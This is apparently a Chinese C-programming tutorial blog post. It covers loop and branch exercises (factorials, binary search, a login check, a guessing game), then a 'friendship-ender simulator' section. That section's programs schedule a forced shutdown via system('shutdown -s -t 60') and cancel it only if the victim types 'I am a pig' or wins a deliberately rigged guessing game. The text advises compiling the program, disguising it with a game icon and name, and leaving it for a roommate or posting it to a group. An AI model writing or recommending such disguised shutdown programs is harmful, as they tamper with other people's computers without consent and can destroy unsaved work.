Bootstrap

分支循环语句练习和友尽模拟器的综合应用

目录

一、循环语句练习

1.计算 n的阶乘

2. 计算 1!+ 2!+ 3!+ …… + 10!

二、分支循环综合练习

3. 在一个有序数组中查找具体的某个数字n。

4. 编写代码,演示多个字符从两端移动,向中间汇聚。

5. 编写代码实现,模拟用户登录情景,并且只能登录三次。

6.猜数字游戏

三、友尽模拟器及其综合应用

1.友尽模拟器初阶

2.友尽模拟器进阶


一、循环语句练习

1.计算 n的阶乘

#include<stdio.h>
int main()
{
	int n = 0;
	scanf("%d", &n);
	int ret = 1;
	int i = 1;
	for (i= 1; i<=n; i++)
	{
		ret *= i;//从1乘到n
	}
	printf("%d\n", ret);
	return 0;
}

2. 计算 1!+ 2!+ 3!+ …… + 10!

#include<stdio.h>
int main()
{
	int n = 0;
	int i = 0;
	int j = 0;
	int sum = 0;
	scanf("%d", &n);
	for (i = 1; i <= n; i++)
	{	
      //将计算n!的程序复制过来
		int ret = 1;
		//ret每次都要重新定义为1,不然会在原基础上进行相乘
		for (j = 1;j <= i;j++)
		{
            ret = ret * j;
		}
		sum = sum + ret;
	}
	printf("%d\n", sum);
	return 0;
}

二、分支循环综合练习

3. 在一个有序数组中查找具体的某个数字n。

我们在一个有序数组中需要找到一个数值时,可以使用这种二分查找的方法
比如说,1 2 3 4 5 6 7 8 9 10 中我们需要找到一个数字
我定义一个左角标为0,定义一个右角表为9,分别对应1和10
然后定义一个中间角标为左右角标的平均值,看这个平均值角标对应的数字是比你要找的数字大还是小
大的话就右角标向左移动到中间角标的前一个,小的话就左角标向右移动到中间角标的后一个,一遍一遍地重复减小范围,最终找到数字

 #include<stdio.h>
int main()
{
	int arr[100] = { 0 };
	int i = 0;
	for (i=0; i<100; i++)//初始化一个1-100的数组
	{
		arr[i] = i+1;
	}
	int n = 0;
	while ((scanf("%d", &n)) != EOF)//循环输入,单次输入可以去掉循环
	{
		int left = 0;//左角标
		int right = sizeof(arr) / sizeof(arr[0]) - 1;//右角标
		int num = 0;//查找次数
		int mid = 0;//中间角标
		while (left <= right)
		{
			mid = (right - left) / 2 + left;//当这个数组很大时,这样写可以检索更大的范围
			if (arr[mid] > n)
			{
				right = --mid;
				num++;
			}
			else if (arr[mid] < n)
			{
				left = ++mid;
				num++;
			}
			else//相等时
			{
				printf("找到了下标为:");
				printf("%d\n", mid);
				printf("查找了%d次\n",num);
				break;
			}
		}
		if (left > right)//这种情况在正常情况下不会发生
		{
			printf("找不到\n");
		}
	}
	return 0;
}

4. 编写代码,演示多个字符从两端移动,向中间汇聚。

#include<stdio.h>
#include<stdlib.h>
#include<windows.h>
int main()
{
	char arr1[20] = "bonjour,monsieur!";
	char arr2[20] = "#################";
	int left = 0;
	int right = strlen(arr2) - 1;
	while (left<=right)
	{
		arr2[left] = arr1[left];
		arr2[right] = arr1[right];//把arr1的内容替换到arr2中
		printf("%s", arr2);
		Sleep(1000);//睡眠1000毫秒
		system("cls");//一个cmd指令,清空屏幕
		left++;
		right--;//向中间移动
	}
	return 0;
}

我们可以看到屏幕上会先输出#################,后清空屏幕输出b###############!,然后再次清空输出bo#############r!......最后所有的字符替换完成,输出bonjour,monsieur!,看起来就好像在向中间汇聚。

5. 编写代码实现,模拟用户登录情景,并且只能登录三次。

(只允许输入三次密码,如果密码正确则提示登录成功,如果三次均输入错误,则退出程序。)

#include<stdio.h>
#include<string.h>
int main()
{
	char arr1[20] = { 0 };
	//设置密码为abcdef
	char arr2[20] = "abcdef";
	int i = 0;
	for (i = 0; i < 3;i++)
	{
		printf("请输入密码:");
		scanf("%s", arr1);
		if (strcmp(arr1, arr2) == 0)//比较两个字符串,完全相同时返回0
		{
			break;
		}
		if (i<2)
		{
			printf("请重新输入\n");
		}
	} 
	if (i == 3)
	{
		printf("三次密码输入错误,自动退出程序\n");
    }
	else
	{
		printf("登陆成功\n");
	}
	return 0;
}

6.猜数字游戏

#include<stdio.h>
#include<time.h>
#include<stdlib.h>
void menu()//打印起始页面的函数
{
	printf("****************\n");
	printf("*****1.play*****\n");
	printf("*****0.exit*****\n");
	printf("****************\n");
	printf("请输入1或0:\n");
}
int getnum()//生成随机数的函数
{
	int ret = 0;
	ret = rand()%100+1;
    //rand函数可以生成一个随机数,这个数字的范围是0-32767,但想调用rand需要先调用srand函数
	//让我们去看下面的srand函数,在main函数下面

	//看完srand函数后,此时rand函数可以正常生成一个随机值了
	//srand只需要确定一次起始位置即可,所以没有把它放在生成熟知的函数里
	return ret;
}
void game()//玩游戏的函数
{
	int b = getnum();//生成随机数
	int x = 0;
	while (1)//死循环直到猜中跳出
	{	
		printf("请输入数字:");
        scanf("%d", &x);
	    if (x>b)
	    {
			printf("猜大了\n");
	    }
	    else if(x<b)
	    {
			printf("猜小了\n");
	    }
	    else 
	    {
			printf("正确,这个数字为%d\n", b);
			break;
	    }
	}
}
int main()
{
	srand((unsigned int)time(NULL));
	//调用srand函数确定一个生成随机数的起始位置
	//然而正确使用这个函数需要向内部传进一个类型为unsigned int的变动的值。
	//我们要产生一个随机值,而这个随机值的生成需要一个随机值
	//我们似乎进入了一个先有鸡先有蛋的问题,这时就需要引入一个概念叫做时间戳
	//时间戳表示一个时间,这个时间就是相对于1970年1月1日到现在的时刻我们经过了多少秒,然后将它转化为一个数字
	//由于时间是不断变动的,它就可以满足我们的要求,time函数可以返回这个数字。
	//time函数需要一个指针类型的参数,我们就给它一个空指针。它的返回类型是time_t,需要强制类型转换为unsigned int
	//让我们回到rand函数那里
	int a = 0;
	do {
		menu();
		scanf("%d", &a);
		switch (a)
		{
		    case 1:
		    {
				game();
				break;
		    }
		    case 0:
		    {
				return 0;
		    }
		    default:
		    {
		    	printf("请重新输入\n");
				break;
		    }
		}
	} while (1);
	return 0;
}

三、友尽模拟器及其综合应用

你有没有这样的舍友,大白天累了就睡觉,半夜他不困了就开始开着麦打游戏,床上留着孤零零的你躺着睡不着觉。他的怒吼声和噼噼啪啪的键盘声让你不禁怀疑人生。

好吧,代入感很强,已经开始生气了。

虽然,对于舍友关系还是应该以和为贵。

什么?他不听!

拿下面这个程序干他!!!

1.友尽模拟器初阶

#include<stdio.h>
#include<windows.h>
#include<string.h>
int main()
{
	char arr[20] = { 0 };
	system("shutdown -s -t 60");//cmd指令,表示60s后自动关机
	printf("注意,你的电脑将在一分钟内关机\n");
	printf("如果输入我是猪就可以取消\n");
	while (1)
	{
		scanf("%s", arr);
		if (strcmp(arr, "我是猪") == 0)
		{
			system("shutdown -a");
			break;
		}
		else
		{
			printf("重新输入,输不对就关你电脑\n");
		}
	}
	return 0;
}

你可以把这个代码写到VS上,把VS上面的Debug模式改为Release,会得到一个exe程序,把它改成游戏图标,改个名称往那儿一放就等他来了。虽然可能不能完全阻止他,但至少可以整整他。

这个程序他即使关掉也没有用,程序已经设定好了,他不输电脑就必定关机。

2.友尽模拟器进阶

(1)就像前面只允许输入三次密码,你也可以让他只能输入三次,不输就关

#include<stdio.h>
#include<windows.h>
#include<string.h>
int main()
{
	char arr[20] = { 0 };
	system("shutdown -s -t 60");
	printf("注意,你的电脑将在一分钟内关机\n");
	printf("如果输入我是猪就可以取消\n");
	int n = 0;
	while (1)
	{
		scanf("%s", arr);
		if (strcmp(arr, "我是猪") == 0)
		{
			system("shutdown -a");
			break;
		}
		else
		{
			if (n < 2)
			{
				printf("重新输入,输不对就关你电脑\n");
			}
			n++;
		}
	    if (n == 3)
		{
			printf("你没机会了\n");
			break;
		}
	}
	return 0;
}

此时可能会有以下画面:

注意,你的电脑将在一分钟内关机
如果输入我是猪就可以取消
你是猪
重新输入,输不对就关你电脑
你才是猪
重新输入,输不对就关你电脑
你这个家伙
你没机会了

(2)结合我们之前的猜数字游戏,我们可以更损

让他猜数字,三次猜不中就不能取消关电脑,这个程序有个好处。只要他点了,同时不知道这个cmd指令,他就不能取消关机。

#include<stdio.h>
#include<time.h>
#include<stdlib.h>
#include<windows.h>
int getnum()
{
	int ret = 0;
	ret = rand()%100+1;
	return ret;
}
void game()
{		
	int n = 0;
	int x = 0;
	while (1)
	{	
		int b = getnum();
		printf("输入我正在想的数字:");
        scanf("%d", &x);
	    if (x>b)
	    {
			printf("猜大了\n");
			n++;
	    }
	    else if(x<b)
	    {
			printf("猜小了\n");
			n++;
	    }
	    else 
	    {
			printf("输对了你也打不开游戏\n", b);
			system("shutdown -a");
			break;
	    }
		if (n==3)
		{
			printf("你没机会了\n");
			break;
		}
	}
}
int main()
{
	srand((unsigned int)time(NULL));
	system("shutdown -s -t 60");
	printf("注意,你的电脑将在一分钟内关机\n");
	printf("如果输入我心里想的那个数就可以取消\n");
	game();
	return 0;
}

有没有发现那个生成随机数的函数被放到了循环内部,也就是说在这样的条件下,每循环一次这个随机数都会被更换,还有猜大,猜小这样的误导项更猜不对。

可以先拿自己电脑试一下,注意别把自己电脑关了。说实在的,改个名往群里一发也确实够损,这种程序还是自己玩比较好。

;